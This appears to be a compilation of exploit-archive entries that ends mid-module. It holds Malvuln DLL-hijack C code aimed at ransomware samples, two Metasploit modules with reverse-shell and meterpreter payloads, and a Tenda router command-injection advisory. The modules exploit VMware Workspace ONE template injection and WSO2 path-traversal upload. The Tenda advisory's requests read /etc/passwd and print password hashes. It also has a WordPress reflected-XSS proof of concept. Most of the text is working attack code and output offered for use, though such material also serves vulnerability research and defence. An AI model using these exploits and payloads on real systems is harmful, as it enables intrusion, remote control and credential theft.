<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/0adb0e2ac8aa969fb088ee95c4a91536.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: RedLine.Stealer<br />Vulnerability: Code Execution<br />Description: RedLine looks for and loads a DLL named "wow64log.dll" in Windows\System32. Therefore, we can drop our own DLL to intercept and terminate the malware. The exploit dll will simply display a Win32API message box and call exit(). Our RedLine exploit DLL must export "InterlockedExchange" function or it fails with error. We do not need to rely on hash signature or third-party product, the malware vuln will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: RedLine<br />Type: PE32<br />MD5: 0adb0e2ac8aa969fb088ee95c4a91536<br />Vuln ID: MVID-2022-0578<br /><br />Exploit/PoC:<br />Video PoC URL: https://www.youtube.com/watch?v=HQ2JTyckZpo<br /><br />Exploit/PoC:<br />1) Compile the following C code as "wow64log.dll" as x64<br />2) Copy the DLL to Windows/System32<br />3) Run the malware and BOOM!<br /><br />#include "windows.h"<br />#include "stdio.h"<br /><br />//By malvuln - 5/2022<br />//Target: RedLine Stealer<br />//MD5: 0adb0e2ac8aa969fb088ee95c4a91536<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//compile as x64<br />//gcc -c wow64log.c <br />//gcc -shared -o wow64log.dll wow64log.o <br />//DLL must live under Windows/System32 dir<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Code Exec", "by malvuln", MB_OK);<br /> exit(0);<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />extern __declspec(dllexport) WINBASEAPI LONG WINAPI InterlockedExchange (LONG volatile *Target, LONG Value){<br /> exit(1);<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/7d7ee58c2696794b3be958b165eb61a9.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: REvil Ransom<br />Vulnerability: Code Execution<br />Description: REvil looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own vulnerability will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: REvil<br />Type: PE32<br />MD5: 7d7ee58c2696794b3be958b165eb61a9<br />Vuln ID: MVID-2022-0577<br />Disclosure: 05/03/2022<br />Video PoC URL: https://www.youtube.com/watch?v=WnDxcYzfbUQ<br /><br />Exploit/PoC:<br />1) Compile the following C code as "CLDAPI.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "CLDAPI.dll"<br />4) Run Conti<br /><br />#include "windows.h"<br />#include "stdio.h"<br /><br />//By malvuln<br />//Purpose: Code Execution<br />//Target: REvi Ransomware<br />//MD5: 7d7ee58c2696794b3be958b165eb61a9<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c CLDAPI.c -m32<br />//gcc -shared -o CLDAPI.dll CLDAPI.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Code Exec", "by malvuln", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/9eb9197cd58f4417a27621c4e1b25a71.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Conti Ransom<br />Vulnerability: Code Execution<br />Description: Conti looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own vulnerability will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Conti<br />Type: PE32<br />MD5: 9eb9197cd58f4417a27621c4e1b25a71<br />Vuln ID: MVID-2022-0576<br />Disclosure: 05/03/2022<br />Video PoC URL: https://www.youtube.com/watch?v=Sb2fKCOSoew<br /><br />Exploit/PoC:<br />1) Compile the following C code as "netapi32.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "netapi32.dll"<br />4) Run Conti<br /><br />#include "windows.h"<br />#include "stdio.h"<br /><br />//By malvuln<br />//Purpose: Code Execution<br />//Target: Conti Ransomware<br />//MD5: 9eb9197cd58f4417a27621c4e1b25a71<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c netapi32.c -m32<br />//gcc -shared -o netapi32.dll netapi32.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Code Exec", "by malvuln", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/2ffc2446a2a6cf04c06a85deb43b9fb8.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: LokiLocker Ransom<br />Vulnerability: Code Execution<br />Description: LokiLocker looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malware will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: LokiLocker<br />Type: PE32<br />MD5: 2ffc2446a2a6cf04c06a85deb43b9fb8<br />Vuln ID: MVID-2022-0575<br />Disclosure: 05/03/2022<br />Video PoC URL: https://www.youtube.com/watch?v=ZotoaovAAXw<br /><br />Exploit/PoC:<br />1) Compile the following C code as "netapi32.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "netapi32.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br />#include "stdio.h"<br /><br />//By malvuln<br />//Purpose: Code Execution<br />//Target: LokiLocker Ransomware<br />//MD5: 2ffc2446a2a6cf04c06a85deb43b9fb8<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c netapi32.c -m32<br />//gcc -shared -o netapi32.dll netapi32.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Code Exec", "by malvuln", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/998022b70d83c6de68e5bdf94e0f8d71.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: BlackBasta Ransom<br />Vulnerability: Code Execution<br />Description: BlackBasta looks for and loads a DLL named "wow64log.dll" in Windows\System32. Therefore, we can drop our own DLL to intercept and terminate the malware pre-encryption. The exploit dll will simply display a Win32API message box and call exit(). Our BlackBasta exploit DLL must export "InterlockedExchange" function or it fails with error. We do not need to rely on hash signature or third-party product, the malware will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: BlackBasta<br />Type: PE32<br />MD5: 998022b70d83c6de68e5bdf94e0f8d71<br />Vuln ID: MVID-2022-0574<br />Disclosure: 05/02/2022<br />Video PoC URL: https://www.youtube.com/watch?v=Fezzdw6f7ls<br /><br />Exploit/PoC:<br />1) Compile the following C code as "wow64log.dll" as x64<br />2) Place the DLL in Windows/System32<br />3) Run the malware and BOOM!<br /><br />#include "windows.h"<br />#include "stdio.h"<br /><br />//By malvuln - 5/2022<br />//Target: BlackBasta Ransom<br />//MD5: 998022b70d83c6de68e5bdf94e0f8d71<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//compile as x64<br />//gcc -c wow64log.c <br />//gcc -shared -o wow64log.dll wow64log.o <br />//DLL must live under Windows/System32 dir<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Code Exec", "by malvuln", MB_OK);<br /> exit(0);<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br />extern __declspec(dllexport) WINBASEAPI LONG WINAPI InterlockedExchange (LONG volatile *Target, LONG Value){<br /> exit(1);<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>Discovery / credits: Malvuln - malvuln.com (c) 2022<br />Original source: https://malvuln.com/advisory/40f2238875fcbd2a92cfefc4846a15a8.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Ransom.AvosLocker<br />Vulnerability: Code Execution<br />Description: The ransomware looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malware will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: AvosLocker<br />Type: PE32<br />MD5: 40f2238875fcbd2a92cfefc4846a15a8<br />Vuln ID: MVID-2022-0573<br />Disclosure: 05/02/2022<br />Video PoC URL: https://www.youtube.com/watch?v=jCxG46dEmso<br /><br />Exploit/PoC:<br />1) Compile the following C code as "mpr.dll"<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "mpr.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br />#include "stdio.h"<br /><br />//By malvuln - 5/2/2022<br />//Vuln: Code Execution<br />//Target: Ransom.AvosLocker<br />//MD5: 40f2238875fcbd2a92cfefc4846a15a8<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br /><br />//gcc -c mpr.c -m32<br />//gcc -shared -o mpr.dll mpr.o -m32<br /><br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Code Exec", "by malvuln", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> GetCurrentDirectory(MAX_PATH, TEXT(buf));<br /> //printf("Current directory: %s\n", buf);<br /> //check the path<br /> int rc = strcmp("C:\\Windows\\System32", TEXT(buf));<br /> if(rc != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'VMware Workspace ONE Access CVE-2022-22954',<br /> 'Description' => %q{<br /> This module exploits CVE-2022-22954, an unauthenticated server-side<br /> template injection (SSTI) in VMware Workspace ONE Access, to execute<br /> shell commands as the "horizon" user.<br /> },<br /> 'Author' => [<br /> 'mr_me', # Discovery<br /> 'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC<br /> 'wvu' # Exploit and independent analysis<br /> ],<br /> 'References' => [<br /> ['CVE', '2022-22954'],<br /> ['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],<br /> ['URL', 'https://srcincite.io/advisories/src-2022-0005/'],<br /> ['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],<br /> ['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']<br /> # More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433<br /> ],<br /> 'DisclosureDate' => '2022-04-06',<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :dropper,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'RPORT' => 443,<br /> 'SSL' => true<br /> },<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'Base path', '/'])<br /> ])<br /> end<br /><br /> def check<br /> ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")<br /><br /> return CheckCode::Unknown unless ret<br /> return CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)<br /><br /> CheckCode::Vulnerable<br /> end<br /><br /> def exploit<br /> print_status("Executing #{payload_instance.refname} (#{target.name})")<br /><br /> case target['Type']<br /> when :cmd<br /> execute_command(payload.encoded)<br /> when :dropper<br /> execute_cmdstager<br /> end<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> bash_cmd = "bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}"<br /><br /> vprint_status("Executing command: #{bash_cmd}")<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, ssti_uri),<br /> 'vhost' => rand_text_alphanumeric(8..16),<br /> 'vars_get' => {<br /> %w[code error].sample => rand_text_alphanumeric(8..16),<br /> # https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html<br /> ssti_param => %(${"freemarker.template.utility.Execute"?new()("#{bash_cmd}")})<br /> }<br /> }, 3.5)<br /><br /> return unless res<br /> return '' unless res.code == 400 && res.body.include?('auth.context.invalid')<br /><br /> res.body<br /> end<br /><br /> def ssti_uri<br /> %w[<br /> /catalog-portal/hub-ui<br /> /catalog-portal/hub-ui/byob<br /> /catalog-portal/ui<br /> /catalog-portal/ui/oauth/verify<br /> ].sample<br /> end<br /><br /> def ssti_param<br /> %w[deviceType deviceUdid].sample<br /> end<br /><br />end<br /></code></pre>
<pre><code><br />Tenda HG6 v3.3.0 Remote Command Injection Vulnerability<br /><br /><br />Vendor: Tenda Technology Co.,Ltd.<br />Product web page: https://www.tendacn.com<br /> https://www.tendacn.com/product/HG6.html<br />Affected version: Firmware version: 3.3.0-210926<br /> Software version: v1.1.0<br /> Hardware Version: v1.0<br /> Check Version: TD_HG6_XPON_TDE_ISP<br /><br />Summary: HG6 is an intelligent routing passive optical network<br />terminal in Tenda FTTH solution. HG6 provides 4 LAN ports(1*GE,3*FE),<br />a voice port to meet users' requirements for enjoying the Internet,<br />HD IPTV and VoIP multi-service applications.<br /><br />Desc: The application suffers from an authenticated OS command injection<br />vulnerability. This can be exploited to inject and execute arbitrary<br />shell commands through the 'pingAddr' and 'traceAddr' HTTP POST parameters<br />in formPing, formPing6, formTracert and formTracert6 interfaces.<br /><br />Tested on: Boa/0.93.15<br /><br /><br />Vulnerability discovered by Gjoko 'LiquidWorm' Krstic<br /> @zeroscience<br /><br /><br />Advisory ID: ZSL-2022-5706<br />Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5706.php<br /><br /><br />22.04.2022<br /><br />--<br /><br /><br />ping.asp:<br />---------<br /><br />POST /boaform/formPing HTTP/1.1<br />Host: 192.168.1.1<br /><br />pingAddr=;ls /etc&wanif=65535&submit-url=/ping.asp&postSecurityFlag=2564<br /><br />---<br />TZ<br />app.gwdt<br />bftpd.conf<br />buildtime<br />check_version.txt<br />config<br />config.csv<br />config_default.xml<br />config_default_hs.xml<br />dhclient-script<br />dnsmasq.conf<br />ethertypes<br />factory_default.xml<br />ftpdpassword<br />group<br />hardversion<br />inetd.conf<br />init.d<br />inittab<br />innversion<br />insdrv.sh<br />irf<br />mdev.conf<br />omci_custom_opt.conf<br />omci_ignore_mib_tbl.conf<br />omci_ignore_mib_tbl_10g.conf<br />omci_mib.cfg<br />orf<br />passwd<br />ppp<br />profile<br />protocols<br />radvd.conf<br />ramfs.img<br />rc_boot_dsp<br />rc_voip<br />release_date<br />resolv.conf<br />rtk_tr142.sh<br />run_customized_sdk.sh<br />runoam.sh<br />runomci.sh<br />runsdk.sh<br />samba<br />scripts<br />services<br />setprmt_reject<br />shells<br />simplecfgservice.xml<br />smb.conf<br />softversion<br />solar.conf<br />solar.conf.in<br />ssl_cert.pem<br />ssl_key.pem<br />version<br />wscd.conf<br /><br /><br />ping6.asp:<br />----------<br /><br />POST /boaform/formPing6 HTTP/1.1<br />Host: 192.168.1.1<br /><br />pingAddr=;ls&wanif=65535&go=Go&submit-url=/ping6.asp<br /><br />---<br />boa.conf<br />web<br /><br /><br />tracert.asp:<br />------------<br /><br />POST /boaform/formTracert HTTP/1.1<br />Host: 192.168.1.1<br /><br />traceAddr=;pwd&trys=1&timeout=5&datasize=38&dscp=0&maxhop=10&go=Go&submit-url=/tracert.asp<br /><br />---<br />/home/httpd<br /><br /><br />tracert6.asp:<br />-------------<br /><br />POST /boaform/formTracert6 HTTP/1.1<br />Host: 192.168.1.1<br /><br />traceAddr=;cat /etc/passwd&trys=1&timeout=5&datasize=38&maxhop=10&go=Go&submit-url=/tracert6.asp<br /><br />---<br />admin:$1$$CoERg7ynjYLsj2j4glJ34.:0:0::/tmp:/bin/sh<br />adsl:$1$$m9g7v7tSyWPyjvelclu6D1:0:0::/tmp:/bin/sh<br />nobody:x:0:0::/tmp:/dev/null<br />user:$1$$ex9cQFo.PV11eSLXJFZuj.:1:0::/tmp:/bin/sh<br /></code></pre>
<pre><code># Exploit Title: WordPress Plugin stafflist 3.1.2 - Reflected XSS (Authenticated)<br /># Date: 05-02-2022<br /># Exploit Author: Hassan Khan Yusufzai - Splint3r7<br /># Vendor Homepage: https://wordpress.org/plugins/stafflist/<br /># Version: 3.1.2<br /># Tested on: Firefox<br /># Contact me: h [at] spidersilk.com<br /><br /># Summary:<br /><br />A cross site scripting reflected vulnerability has been identified in<br />WordPress Plugin stafflist version less then 3.1.2. that allows<br />unauthenticated users to run arbitrary javascript code inside<br />WordPress using Stafflist Plugin.<br /><br /># POC<br /><br />http://localhost:10003/wp-admin/admin.php?page=stafflist&remove=1&p=1%27%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E<br /><br /># Vulnerable Parameters<br /><br />p and s parameters are vulnerable.<br /><br /># Vulnerable Code:<br /><br />$html = ($cur > 1 ? "<p class='pager'><a<br />href='{$stafflisturl}&p=".($cur-1)."&s={$_GET['s']}'>Previous<br /></a></p>" : ""); //<<br /><br /><br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::FileDropper<br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'WSO2 Arbitrary File Upload to RCE',<br /> 'Description' => %q{<br /> This module abuses a vulnerability in certain WSO2 products that allow unrestricted file<br /> upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and<br /> above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server<br /> Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above<br /> through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.<br /> },<br /> 'Author' => [<br /> 'Orange Tsai', # Discovery<br /> 'hakivvi', # analysis and PoC<br /> 'wvu', # PoC<br /> 'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> [ 'CVE', '2022-29464'],<br /> [ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],<br /> [ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],<br /> [ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]<br /> ],<br /> 'DefaultOptions' => {<br /> 'Payload' => 'java/meterpreter/reverse_tcp',<br /> 'SSL' => true,<br /> 'RPORT' => 9443<br /> },<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Java Dropper',<br /> {<br /> 'Platform' => 'java',<br /> 'Arch' => ARCH_JAVA,<br /> 'Type' => :java_dropper,<br /> 'DefaultOptions' => {<br /> 'WfsDelay' => 10<br /> }<br /> }<br /> ],<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'DisclosureDate' => '2022-04-01',<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],<br /> 'Reliability' => [REPEATABLE_SESSION]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),<br /> OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])<br /> ]<br /> )<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),<br /> 'method' => 'POST'<br /> )<br /><br /> if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/<br /> Exploit::CheckCode::Appears<br /> else<br /> Exploit::CheckCode::Unknown<br /> end<br /> end<br /><br /> def prepare_payload(app_name)<br /> print_status('Preparing payload...')<br /><br /> war_payload = payload.encoded_war.to_s<br /> fname = app_name + '.war'<br /> path_traveral = '../../../../repository/deployment/server/webapps/' + fname<br /> post_data = Rex::MIME::Message.new<br /> post_data.add_part(war_payload,<br /> 'application/octet-stream', 'binary',<br /> "form-data; name=\"#{path_traveral}\"; filename=\"#{fname}\"")<br /> post_data<br /> end<br /><br /> def upload_payload(post_data)<br /> print_status('Uploading payload...')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),<br /> 'method' => 'POST',<br /> 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",<br /> 'data' => post_data.to_s<br /> )<br /> if res && res.code == 